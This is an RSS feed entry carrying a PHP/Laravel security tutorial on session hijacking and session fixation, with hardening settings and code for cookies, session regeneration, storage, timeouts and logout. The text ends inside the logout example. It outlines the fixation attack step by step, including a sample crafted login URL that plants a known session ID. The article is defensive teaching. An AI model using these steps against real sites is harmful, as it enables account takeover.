<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Nchiminyi — Founder, Kriosa</title>
    <description>The latest articles on DEV Community by Nchiminyi — Founder, Kriosa (@kriosa).</description>
    <link>https://dev.to/kriosa</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4010602%2F41284738-5a4f-4116-8b26-36ca4722c94f.png</url>
      <title>DEV Community: Nchiminyi — Founder, Kriosa</title>
      <link>https://dev.to/kriosa</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kriosa"/>
    <language>en</language>
    <item>
      <title>Session Security in PHP — What Most Developers Get Wrong</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 11 Aug 2026 07:00:00 +0000</pubDate>
      <link>https://dev.to/kriosa/session-security-in-php-what-most-developers-get-wrong-4n62</link>
      <guid>https://dev.to/kriosa/session-security-in-php-what-most-developers-get-wrong-4n62</guid>
      <description>&lt;p&gt;&lt;strong&gt;ORIGINALLY PUBLISHED ON MEDIUM&lt;/strong&gt;&lt;br&gt;
The session ID is the key to your user's account. Here is every way attackers steal it and how to stop them.&lt;/p&gt;

&lt;p&gt;This is the twelfth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security — the file that isn't what it claims to be&lt;/li&gt;
&lt;li&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Session security is different from most vulnerabilities in this series. SQL injection, XSS, and path traversal attack your application directly. Session attacks attack the identity layer the mechanism that proves who a user is after they have authenticated. Get it wrong and it does not matter how secure the rest of your application is. An attacker with a valid session ID is indistinguishable from a legitimate user.&lt;/p&gt;
&lt;h2&gt;
  
  
  How PHP Sessions Work
&lt;/h2&gt;

&lt;p&gt;When a user visits your PHP application PHP creates a session:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;PHP generates a cryptographically random session ID&lt;/li&gt;
&lt;li&gt;PHP stores that session ID in a cookie on the user's browser — by default called &lt;code&gt;PHPSESSID&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;PHP stores session data on the server keyed by that session ID&lt;/li&gt;
&lt;li&gt;On every subsequent request the browser sends the session cookie automatically&lt;/li&gt;
&lt;li&gt;PHP reads the session ID from the cookie and restores the session&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The session ID is the key to everything. Whoever holds that session ID can impersonate the user it belongs to. This is what every session attack targets.&lt;/p&gt;
&lt;h2&gt;
  
  
  Attack 1 — Session Hijacking
&lt;/h2&gt;

&lt;p&gt;Session hijacking is when an attacker steals a valid session ID and uses it to impersonate the legitimate user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 1 — XSS:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If your application has an XSS vulnerability an attacker injects JavaScript that reads the session cookie and sends it to their server. This is why the &lt;code&gt;HttpOnly&lt;/code&gt; cookie attribute exists it prevents JavaScript from reading cookies entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 2 — Network interception:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If your application runs over HTTP an attacker on the same network can intercept the session cookie from unencrypted traffic. This is why the &lt;code&gt;Secure&lt;/code&gt; cookie attribute exists it tells the browser to only send the cookie over HTTPS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 3 — Session IDs in URLs:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/dashboard?PHPSESSID=abc123def456
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;URL-based session IDs appear in server logs, browser history, and referrer headers. Stealing them requires no technical attack just access to a log file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 4 — Predictable session IDs:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If session IDs are generated with weak randomness an attacker can predict or brute force them. PHP's default session ID generation is cryptographically secure — but custom session ID generation in older applications often is not.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack 2 — Session Fixation
&lt;/h2&gt;

&lt;p&gt;The attacker does not steal a session ID they force the victim to use one the attacker already knows.&lt;/p&gt;

&lt;p&gt;The attack sequence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker obtains a valid session ID: &lt;code&gt;abc123&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Attacker tricks the victim into using that session ID: &lt;code&gt;https://yoursite.com/login?PHPSESSID=abc123&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Victim logs in using session ID &lt;code&gt;abc123&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;If your application does not generate a new session ID after login, session &lt;code&gt;abc123&lt;/code&gt; is now authenticated&lt;/li&gt;
&lt;li&gt;Attacker uses session ID &lt;code&gt;abc123&lt;/code&gt; — which they have known all along to access the victim's account&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The victim logged in successfully. The attacker never knew their password. The attack worked because the session ID did not change after authentication.&lt;/p&gt;

&lt;h2&gt;
  
  
  PHP Session Configuration A Production Baseline
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;; php.ini
&lt;/span&gt;
&lt;span class="c"&gt;; Never accept session IDs in URLs only in cookies
&lt;/span&gt;&lt;span class="py"&gt;session.use_only_cookies&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;1&lt;/span&gt;

&lt;span class="c"&gt;; Prevent JavaScript from reading session cookies
&lt;/span&gt;&lt;span class="py"&gt;session.cookie_httponly&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;1&lt;/span&gt;

&lt;span class="c"&gt;; Only send session cookies over HTTPS
&lt;/span&gt;&lt;span class="py"&gt;session.cookie_secure&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;1&lt;/span&gt;

&lt;span class="c"&gt;; Restrict cookie to same-site requests
&lt;/span&gt;&lt;span class="py"&gt;session.cookie_samesite&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;Lax&lt;/span&gt;

&lt;span class="c"&gt;; Reject unrecognized session IDs
&lt;/span&gt;&lt;span class="py"&gt;session.use_strict_mode&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;1&lt;/span&gt;

&lt;span class="c"&gt;; Set a reasonable session lifetime
&lt;/span&gt;&lt;span class="py"&gt;session.gc_maxlifetime&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;1440&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The two most important settings:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;session.use_only_cookies = 1&lt;/code&gt; prevents PHP from accepting session IDs in URLs.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;session.use_strict_mode = 1&lt;/code&gt; rejects session IDs that PHP did not create.&lt;/p&gt;

&lt;p&gt;Together these two settings eliminate the most common session fixation attack vector at the configuration level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fixing Session Fixation — Session Regeneration
&lt;/h2&gt;

&lt;p&gt;Configuration alone is not enough. Your application must regenerate the session ID after every successful login:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$credentialsAreValid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Regenerate the session ID and delete the old session data&lt;/span&gt;
    &lt;span class="nb"&gt;session_regenerate_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Now set authenticated session data&lt;/span&gt;
    &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'authenticated'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;true&lt;/code&gt; parameter deletes the old session data on the server. This removes the window an attacker could exploit if they had the previous session ID.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Also regenerate on privilege changes:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_regenerate_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Cookie Security Attributes
&lt;/h2&gt;

&lt;p&gt;Every session cookie requires three security attributes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HttpOnly — prevents JavaScript from reading the cookie:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_set_cookie_params&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'httponly'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Secure — HTTPS only:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_set_cookie_params&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'secure'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SameSite — controls cross-site cookie sending:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_set_cookie_params&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'samesite'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Lax'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Lax&lt;/code&gt; provides meaningful CSRF protection while preserving most legitimate use cases. &lt;code&gt;Strict&lt;/code&gt; is strongest but breaks flows like clicking an external link into an authenticated state. &lt;code&gt;None&lt;/code&gt; always sends the cookie  only for intentional cross-site use cases and only with &lt;code&gt;Secure&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The complete secure session setup:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Call before session_start()&lt;/span&gt;
&lt;span class="nb"&gt;session_set_cookie_params&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="s1"&gt;'lifetime'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="c1"&gt;// Expires when browser closes&lt;/span&gt;
    &lt;span class="s1"&gt;'path'&lt;/span&gt;     &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'domain'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'secure'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="c1"&gt;// HTTPS only&lt;/span&gt;
    &lt;span class="s1"&gt;'httponly'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="c1"&gt;// No JavaScript access&lt;/span&gt;
    &lt;span class="s1"&gt;'samesite'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Lax'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;// CSRF protection&lt;/span&gt;
&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Session Storage Security
&lt;/h2&gt;

&lt;p&gt;By default PHP stores session data in files in &lt;code&gt;/tmp&lt;/code&gt;. On shared hosting other tenants may be able to read your session files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Database storage:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_set_save_handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;DatabaseSessionHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Redis:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;session.save_handler&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;redis&lt;/span&gt;
&lt;span class="py"&gt;session.save_path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"tcp://127.0.0.1:6379"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Database sessions give you the ability to invalidate specific sessions useful when you need to force a logout for a compromised account.&lt;/p&gt;

&lt;h2&gt;
  
  
  Laravel Session Configuration
&lt;/h2&gt;

&lt;p&gt;Laravel abstracts PHP sessions behind its own session system. Configuration lives in &lt;code&gt;config/session.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The critical production settings:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// config/session.php&lt;/span&gt;

&lt;span class="c1"&gt;// Encrypt session data at rest&lt;/span&gt;
&lt;span class="s1"&gt;'encrypt'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

&lt;span class="c1"&gt;// HTTPS only session cookie&lt;/span&gt;
&lt;span class="s1"&gt;'secure'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SESSION_SECURE_COOKIE'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;

&lt;span class="c1"&gt;// Prevent JavaScript from reading the cookie&lt;/span&gt;
&lt;span class="s1"&gt;'http_only'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

&lt;span class="c1"&gt;// CSRF protection&lt;/span&gt;
&lt;span class="s1"&gt;'same_site'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'lax'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

&lt;span class="c1"&gt;// Session lifetime in minutes&lt;/span&gt;
&lt;span class="s1"&gt;'lifetime'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SESSION_LIFETIME'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;

&lt;span class="c1"&gt;// Session storage driver&lt;/span&gt;
&lt;span class="s1"&gt;'driver'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SESSION_DRIVER'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'redis'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;'encrypt' =&amp;gt; true&lt;/code&gt; encrypts all session data using your &lt;code&gt;APP_KEY&lt;/code&gt;. Even if an attacker gains access to your session storage they cannot read the contents without the encryption key.&lt;/p&gt;

&lt;p&gt;Never use the &lt;code&gt;file&lt;/code&gt; driver in production on shared hosting. Use &lt;code&gt;database&lt;/code&gt; or &lt;code&gt;redis&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Regeneration in Laravel
&lt;/h2&gt;

&lt;p&gt;Laravel automatically regenerates the session ID on login when you use &lt;code&gt;Auth::attempt()&lt;/code&gt; or &lt;code&gt;Auth::login()&lt;/code&gt;. This is built into the framework.&lt;/p&gt;

&lt;p&gt;If you build custom authentication or manually change privileges regenerate explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Regenerate session ID — keep existing data&lt;/span&gt;
&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;regenerate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Regenerate and invalidate the old session completely&lt;/span&gt;
&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;invalidate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;regenerateToken&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;regenerateToken()&lt;/code&gt; regenerates the CSRF token stored in the session. Call this alongside session regeneration after login CSRF token fixation mirrors session fixation and should be addressed at the same time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Absolute Session Timeout
&lt;/h2&gt;

&lt;p&gt;Idle timeout alone is not enough. A user who stays active can maintain a session indefinitely. Absolute timeout forces re-authentication after a fixed period regardless of activity:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'login_time'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nv"&gt;$absoluteTimeout&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 8 hours&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'login_time'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$absoluteTimeout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;session_destroy&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: /login?reason=timeout'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In Laravel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// config/session.php&lt;/span&gt;
&lt;span class="s1"&gt;'lifetime'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;480&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// 8 hours in minutes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For applications handling sensitive data consider shorter absolute timeouts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Secure Logout
&lt;/h2&gt;

&lt;p&gt;Always completely destroy the session on logout not just unset session variables:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Wrong — session ID still valid&lt;/span&gt;
&lt;span class="k"&gt;unset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="c1"&gt;// Correct&lt;/span&gt;
&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$_SESSION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ini_get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'session.use_cookies'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;session_get_cookie_params&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nb"&gt;setcookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nb"&gt;session_name&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;42000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;$params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'path'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'domain'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'secure'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="nv"&gt;$params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'httponly'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nb"&gt;session_destroy&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
